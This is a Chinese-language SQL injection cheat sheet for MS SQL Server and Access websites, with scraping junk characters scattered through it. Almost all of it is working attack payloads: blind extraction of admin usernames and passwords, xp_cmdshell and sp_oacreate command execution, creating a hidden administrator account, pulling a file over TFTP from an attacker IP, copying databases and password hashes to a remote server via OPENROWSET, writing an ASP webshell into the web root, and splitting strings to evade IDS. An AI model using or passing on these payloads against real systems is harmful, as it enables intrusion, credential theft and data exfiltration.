1..判断有无注入点
3 O: ]8 L0 Y# S; \; and 1=1 and 1=2 2 P, w' R( X1 [& Q) m
# h; U6 a- j* E. I" V) N
& B$ w. |' H* _) G& r! E$ ] |
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
) q+ Y K8 `( b, x7 i0 Y3 N( pand 0<>(select count(*) from *) & N! n7 o/ u; ]# S5 s9 K0 V
and 0<>(select count(*) from admin) ---判断是否存在admin这张表 0 q) T" ]# q# T" G0 U" d
: Q- r; W: t9 `7 g9 w. Z
+ Y, F8 a$ ?; C* ?8 {
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
- j v/ f. O+ j' [9 J, R# [ T1 Qand 0<(select count(*) from admin)
8 z- Q, O& L0 aand 1<(select count(*) from admin)
* ^0 a- k; w) |% s2 W' V猜列名还有 and (select count(列名) from 表名)>0
}7 g+ f* n2 ^# _
% v' r q4 ^! E9 @3 L' ]( Y
; r9 M N" ] \. w" o- @ F4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
5 G% b0 y) q {and 1=(select count(*) from admin where len(*)>0)-- $ N+ v$ |- i f0 _) b% W. S0 h
and 1=(select count(*) from admin where len(用户字段名称name)>0)
4 [; W1 q7 S; Y0 O: zand 1=(select count(*) from admin where len(密码字段名称password)>0) ( a \- V1 z6 ~' I2 S; K% A) W5 [7 {2 Q
9 q3 L9 ^; J3 r( x6 F# E- k5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 . C9 M X; v, h
and 1=(select count(*) from admin where len(*)>0)
y) f8 h# g- g" L- o! {- v5 Oand 1=(select count(*) from admin where len(name)>6) 错误
$ y4 O5 `4 I: Iand 1=(select count(*) from admin where len(name)>5) 正确 长度是6
/ W: i4 g+ w, L9 C9 uand 1=(select count(*) from admin where len(name)=6) 正确 7 g$ L+ ^% } k4 E9 p& i$ K
6 r: u9 f8 g2 H1 J0 T) W5 k
and 1=(select count(*) from admin where len(password)>11) 正确 , ~0 _' a* _5 z. m5 l
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
" j7 V4 r1 Q, e& |- @9 [/ a0 l: sand 1=(select count(*) from admin where len(password)=12) 正确 * f3 k% ]; f$ {2 E! j
猜长度还有 and (select top 1 len(username) from admin)>5
6 I, g1 U" e0 P. P% X* P. _* D/ h" {9 R; ^- f
9 m0 z# `! W# H# }6.猜解字符 . `% i; r: E3 m& Y
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
0 l! U1 |. \* u% c" z1 R' v! f5 xand 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
* m# x6 M/ Q2 U) l. Y就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 ' s" \0 a/ \" [8 i3 K
3 @+ o' Y$ W+ \' M1 @5 @; S5 n猜内容还有 and (select top 1 asc(mid(password,1,1)) from admin)>50 用ASC码算
2 r, r/ p5 K" T- K( K* \: cand 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- & w& r5 S* j( b6 U* Y
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
! j) @& l- ~8 Y0 P6 d1 u- [ F% d
: l7 s. x0 Q- X- tgroup by users.id having 1=1-- ' K1 ^" _1 _- G- X+ t' R
group by users.id, users.username, users.password, users.privs having 1=1-- + {& r; @' l/ O+ C4 W; j# {0 o
; insert into users values( 666, attacker, foobar, 0xffff )-- : y4 F/ x, @% T0 q- i
. V& ~* x9 F, h' b w1 s+ k+ @
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- ' K* C5 j( b$ r! o* g6 C
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)- 5 A" ] A7 ^ V8 o2 [2 K2 A
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)- 5 V$ `1 T6 z! B5 r* o8 m! t* r
UNION SELECT TOP 1 login_name FROM logintable- ; I0 A& i7 L M" Y# f" D8 E6 F
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul-- & d- L9 ~+ j7 L* Y; ]$ V- `2 x( i }
; F' @- `" {: G4 P$ ^5 D
看服务器打的补丁=出错了打了SP4补丁 : T( R! ]$ B, ^# Y- Y) u$ Y
and 1=(select @@VERSION)--
: q9 e- l- P/ {( Z7 q, a, c* ?( T; K/ y7 x
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。 . H' R# @9 }6 }7 {' `
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))-- ) B) |; ~1 C$ }0 \5 e' i! H
! H' ]& i3 X( ^# h* W- b0 v判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
% V% w1 L0 Z( F; g$ ^3 Iand sa=(SELECT System_user)-- ) a- n# l6 i5 a7 q' v- t4 r
and user_name()=dbo--
% J$ N) B& q. |7 Wand 0<>(select user_name()--
$ h) b8 {0 G0 Y# A* e, P0 T; o2 f/ ^. y
看xp_cmdshell是否删除 ' P9 _* Z$ O4 V. o/ ]7 |
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)-- 2 h |! `1 T4 n( e" r( z
+ p$ G# D5 _( ]5 v; q3 K6 Qxp_cmdshell被删除,恢复,支持绝对路径的恢复 ( e. H& C3 w5 J% x2 a, {) a0 a
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll-- 3 p: T1 m9 w3 X# P/ k# S% L3 d
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
7 J" A4 v( X# b' z( @% e+ y
. A' D: I$ I; u0 \反向PING自己实验 ) |9 q. L! | Y' a$ P/ Z
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 7 ]2 y& l" N% a0 R
% u# N) Z. h- B& j0 g! }
加帐号
6 B* K1 I! o( o: c- _ d;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- & V) m* n9 Y' I. O
# P4 H8 m3 A: N: A _& w创建一个虚拟目录E盘: + I9 K$ y2 Q% N& R) g& C
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
5 u8 s1 {3 y6 \$ x+ T9 G3 m: r0 }
, o7 j W1 [0 c+ Q访问属性:(配合写入一个webshell) 3 U" O: g6 K2 ?, g0 {
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
& ^# c, G; @5 ]& }! J7 h' ]6 h0 O
( g S+ S x* G' n4 S/ ]/ R* B( _6 V* r# C% j0 G! ` }
MSSQL也可以用联合查询
a7 g( ]0 a7 ]- y0 C! h: O?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 0 Z4 L% u' M( m
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) ' z9 W3 p2 J* N7 ~
$ G6 M l* ^! c; S8 A
4 }, A4 z: E/ l2 `! x+ E爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交
4 _. f1 Y* o$ \& s. O# w, E8 a. b
5 u& w2 c3 K% g& t- o( @
" h2 c! d' z- R# v! t5 P# O3 ^, f得到WEB路径
) X" W4 Z* x. e( _ _;create table [dbo].[swap] ([swappass][char](255));--
* d; e% Z5 \) a# q. F9 B* t0 land (select top 1 swappass from swap)=1--
/ n' m5 b/ M$ V;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
4 t. ~ x+ G/ f5 K" N# i9 O;use ku1;-- 3 K3 d* Q( t7 L/ v) P3 O
;create table cmd (str image);-- 建立image类型的表cmd
7 P$ ~8 @$ [* }5 w5 _2 d% f+ g
3 V# _! P+ j, u& A6 A- i存在xp_cmdshell的测试过程:
! N @4 e6 X$ i, ~;exec master..xp_cmdshell dir
5 J( F0 f1 T0 K; N5 S5 E" j5 a) n;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
" j0 D6 x& C7 j1 d7 l) ?6 V9 b;exec master.dbo.sp_password null,jiaoniang$,1866574;-- % W* \- r; j: [6 w
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- 3 j g8 x. m2 `$ _
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
+ i. X; ^8 C9 F8 K6 W; ~+ B. @* M) C+ ~;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
1 R! O, ^5 y- t% Qexec master..xp_servicecontrol start, schedule 启动服务 , f/ S7 u# E9 ]* {; K3 y7 l, @1 n
exec master..xp_servicecontrol start, server 2 B" [9 P9 k( m( |0 J! o) ^" l9 q+ V
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add $ J8 `3 t9 j/ ?7 v" d+ r
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
% B5 h. n4 h1 d; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
5 W5 R4 x% ?0 G {' C
5 @$ l& x4 _1 P- R; k;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ ' `$ g, r, ?* {$ P$ U$ b* o* j! g
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ / n9 ^; q# }6 N2 r
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
9 f7 U& `1 S* f7 C: v2 t, b如果被限制则可以。 4 ^4 j' U9 Y0 s2 T; s1 J/ ?& Q
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
' B9 j3 T3 _: H/ H% t3 H6 W( H3 C3 J
查询构造: 8 Z: I0 |) Z/ ^4 c2 T1 L
SELECT * FROM news WHERE id=... AND topic=... AND ..... 1 y# b( F+ F2 }; |
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
& R2 i- n* g' j) pselect 123;-- ! W- l( Y- B) g! Z) P& N
;use master;-- 4 ^" R8 Q) E* X% G0 V+ ~% A, m
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
8 h; W7 A) O4 r5 U, q6 i+ pand 1<>(select count(email) from [user]);--
/ Q8 q1 c8 g d;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- # g3 c4 i5 R3 I i- H
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
% j/ T* K' J; b3 o3 `;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- # N" y7 O% s4 \
;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- ! X( b- {" o, y) @
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ; E Q, K( w4 @' P' K
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 7 m `6 h( V2 A7 E! s1 q1 z) f
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 7 Q' d' L4 N: j3 L. O
通过查看ffff的用户资料可得第一个用表叫ad 7 ?0 }7 G$ H) ]" [% U
然后根据表名ad得到这个表的ID 得到第二个表的名字
( L) S p2 o3 f- b
: E/ e! q5 i: i: M+ {/ V# g& Tinsert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- ) E* S1 W* v6 Z+ J3 M5 k3 n
insert into users values( 667,123,123,0xffff)--
* Q! V0 ^- |& e _4 Z! v; A9 Ninsert into users values ( 123, admin--, password, 0xffff)--
, X2 V. b; r4 x4 @7 v1 u1 Q;and user>0
; C/ U0 W2 [( |: [5 B, q9 x6 l; v: ~" j;and (select count(*) from sysobjects)>0 ! I( F! m9 A6 U3 o$ \
;and (select count(*) from mysysobjects)>0 //为access数据库
; K" B% F. B; j6 p% F% G4 b3 ]
8 v0 f! h0 d) \; {! s1 P( x) C" ?枚举出数据表名 3 r' h+ j7 n Q- c5 @/ m
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 5 o+ i# u' g8 E/ R' B6 R3 W
这是将第一个表名更新到aaa的字段处。
7 O( \) S5 _+ n# v读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。 & q2 y: B* _4 t1 k. a( f8 l
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
7 x# i* w y$ x3 c. o然后id=1552 and exists(select * from aaa where aaa>5) ! N, m# @! O# F0 k
读出第二个表,一个个的读出,直到没有为止。 . C% U9 f7 ?9 c* }# K
读字段是这样: 9 O% l$ p/ ?; y! X
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));-- 9 K1 I; ^" m' l
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
8 S/ ~' e& m$ }& m6 i/ W; n;update aaa set aaa=(select top 1 col_name(object_id(表名),2));-- & Q0 v$ k1 r/ [9 |. D9 w
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
0 z6 J6 H7 y6 e- P7 A# b) r
+ t j: P2 x% A" Y8 ?6 r3 U4 U[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 5 G3 P; n2 V- ^# r' \7 g
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) . X! Y0 O! x$ @5 |$ \8 b; E4 w
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
3 w# ?9 b# o5 \) U$ @$ O" }, U+ E; H5 F6 A7 @+ n9 z# e
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
' r' n1 @# _" y6 i$ }update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件] # h0 ?: J9 O h3 t
( b1 O, ]) s" [9 @* p8 S" }) Z绕过IDS的检测[使用变量]
) @) M, B0 x+ B;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ 5 h$ n0 I3 t8 {: K
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ % b8 r6 j; E5 t* ]0 K( I0 ]
+ M$ ]1 V( ]& G- F, I
1、 开启远程数据库 - M# J; B1 h. y" u5 `: w$ g' d9 o
基本语法
8 e# g2 h) @$ V/ @# f2 hselect * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) $ M7 v' J" u* ]+ M9 l0 g
参数: (1) OLEDB Provider name ) O+ _' V; t% r+ r% Y, Y
2、 其中连接字符串参数可以是任何端口用来连接,比如 $ `0 d7 Y5 R, s' b- S
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table ! K A1 B+ a3 T8 S
3.复制目标主机的整个数据库insert所有远程表到本地表。
; x6 O7 J0 K0 p2 i% w; A8 k& F" x0 w
基本语法: f. d6 t- T" d5 a M& d+ R( t/ b
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
h6 t# J F) U这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
3 O: ]3 h: k# \1 l. zinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
' y% w" L+ e. J" finsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
6 h$ H/ ?( e- X3 W' [select * from master.dbo.sysdatabases - @1 y$ D# ^: B q' V7 i
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects) + D; S2 y- b5 C/ H1 f
select * from user_database.dbo.sysobjects + U! C4 W: K" C( H# ^, K% |( ~
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns) ! W6 @: e) n. v( o
select * from user_database.dbo.syscolumns
+ s3 X1 y* Y: w; V+ N; P1 {6 ~复制数据库:
H; W# A7 X1 X. q. v6 X; \insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 1 ]# h8 K& Y5 M9 ^) i
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
2 c4 g5 S) f. u- t
7 T. @$ e7 K/ \复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
& C$ s2 H% R. {insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
, f" `! J' U2 P1 m得到hash之后,就可以进行暴力破解。 5 U0 ]) }+ b7 J, H
: }- C5 N" T1 e: h遍历目录的方法: 先创建一个临时表:temp
2 w" I" E0 p5 t2 `;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- . [7 d+ ]8 m/ Z, X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 2 C$ j; q; ~4 |4 R" g& a
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 6 \6 d, x7 F' Z3 L: q4 s4 \
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 3 b- C/ `9 K" o* n( D3 ?( w
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 % |1 K# K* B# S P- g* d7 w: p
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- 7 K/ R3 B- M/ r7 V1 |; f6 f [
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- 2 C+ Z$ J% {. p3 v! |. `0 a
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc : B8 U9 ?3 u Z/ m
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC) 5 c& T! ]/ O7 q+ P& Z
写入表: " A8 | a+ a0 e5 `5 h z& G, ^
语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- 1 h5 L p" O: k/ j ]! c& }
语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));-- ' H" Q5 A8 u; t6 e7 N
语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));-- + Y0 G' h, E; e5 d$ S% a
语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
& Y3 c. g! v/ M) y语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- 7 q2 Z2 ?: U* Z2 t, M. {" d
语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
' {4 B# B1 F5 S) D1 o% V, x语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 6 c' N! Y& J; [' Q
语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
8 M0 B& L6 `; q$ Y7 O* J4 c9 A语句9:and 1=(SELECT IS_MEMBER(db_owner));-- ) W- n) Z! o! L! \; u0 s
7 e. d3 g; _$ Q/ T+ v2 E0 W
把路径写到表中去: & x. @5 [5 P/ ^' V- F% y
;create table dirs(paths varchar(100), id int)-- ' p8 d+ Z4 S; L! i" T6 w* {, i! s
;insert dirs exec master.dbo.xp_dirtree c:\-- ( T# Z9 v$ ?9 s$ t% h/ |/ n5 t2 C
and 0<>(select top 1 paths from dirs)-- ! ^+ K& j$ \- k7 ?$ M: r
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
9 z& [6 }- n# Y4 e" ~; Q4 P;create table dirs1(paths varchar(100), id int)-- , z9 [9 e- i% G
;insert dirs exec master.dbo.xp_dirtree e:\web-- 0 T% N5 g3 n+ G0 B; h0 o. \
and 0<>(select top 1 paths from dirs1)--
" d$ [% v6 e. J6 }
: d3 A T4 x- w) b6 M- N6 |% V4 D3 M把数据库备份到网页目录:下载 - D* z0 I9 k8 y! r
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
% l2 j% u3 Y9 Q4 \7 ]" r) B5 c$ V2 J8 @
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
3 c; o- m s9 Q9 {and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。 4 @' F& W4 V5 B9 R/ T
and 1=(select user_id from USER_LOGIN) % r o) n M( J2 n8 b! A
and 0=(select user from USER_LOGIN where user>1)
7 ]( C' h% T. @) D* b7 d, {3 D6 M( i9 s
-=- wscript.shell example -=-
- F3 E4 I& L6 F$ ldeclare @o int 7 {+ |$ `" Z. C0 D% J
exec sp_oacreate wscript.shell, @o out , i. `; t( h! L: b; t
exec sp_oamethod @o, run, NULL, notepad.exe 1 T% w. Y; B4 r% y5 N f% r' |
; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--
: q& H2 r% ]2 P8 z% d' q! D8 X+ N0 G/ ~
declare @o int, @f int, @t int, @ret int
0 P8 I# S# b0 o2 |( xdeclare @line varchar(8000)
6 n* ?# k+ _% p& C7 i/ c/ Fexec sp_oacreate scripting.filesystemobject, @o out 3 O. n/ z- `7 V) T7 v X
exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 1 F2 O" J' E/ F
exec @ret = sp_oamethod @f, readline, @line out
# k7 r" t; u0 K0 _- b, Swhile( @ret = 0 ) 4 [, F( [2 G$ E
begin / |- f& ], {0 o, d* ~. r/ b% `
print @line ; V! \! Y6 j' }3 D! Q) X
exec @ret = sp_oamethod @f, readline, @line out 7 T }# e0 g! \) b/ X
end 0 u2 I' V1 w& m- l& _
0 T- q+ a2 w5 M' C1 V; e9 d* ldeclare @o int, @f int, @t int, @ret int ' ^/ q" r, M! w$ o: M" @- v5 u
exec sp_oacreate scripting.filesystemobject, @o out
& _& N2 o: T1 n: f4 e, e/ U2 dexec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 " s! Y) t r# N2 R: T1 o
exec @ret = sp_oamethod @f, writeline, NULL, # ~7 [; N& |+ @8 ?
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
1 {4 h' c1 O: A' Q1 m& Y( M& H# ^1 D( S) ]/ Y
declare @o int, @ret int
' R1 P5 X6 x" _1 v7 W* r l. A6 Oexec sp_oacreate speech.voicetext, @o out
6 R1 y! Q. O# i" ^9 c6 q5 U6 S* V! wexec sp_oamethod @o, register, NULL, foo, bar
4 c$ {6 t: \& Q, C& o: a/ Lexec sp_oasetproperty @o, speed, 150
# E8 Z$ t& a$ i2 ?3 V" gexec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
1 W' u) n; ^/ ~( [( r# s6 bwaitfor delay 00:00:05
& L: x$ |4 v; V. o m: ^
2 E+ A) o, M( s; q; x+ u; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- 4 N Q# M h7 [
: f R) @* D5 j0 x8 F1 z3 zxp_dirtree适用权限PUBLIC $ s9 v$ J2 M; G& a+ s6 T+ Q
exec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 6 A2 m/ L) ?5 H2 ~: V# P7 R/ x
create table dirs(paths varchar(100), id int) " b. w6 U% x+ a2 |( p5 u6 r# e0 O
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
6 r6 V5 D7 Y; a7 B8 Ninsert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
3 U- w; o8 [0 W: ?1 m, i' {3 k* o |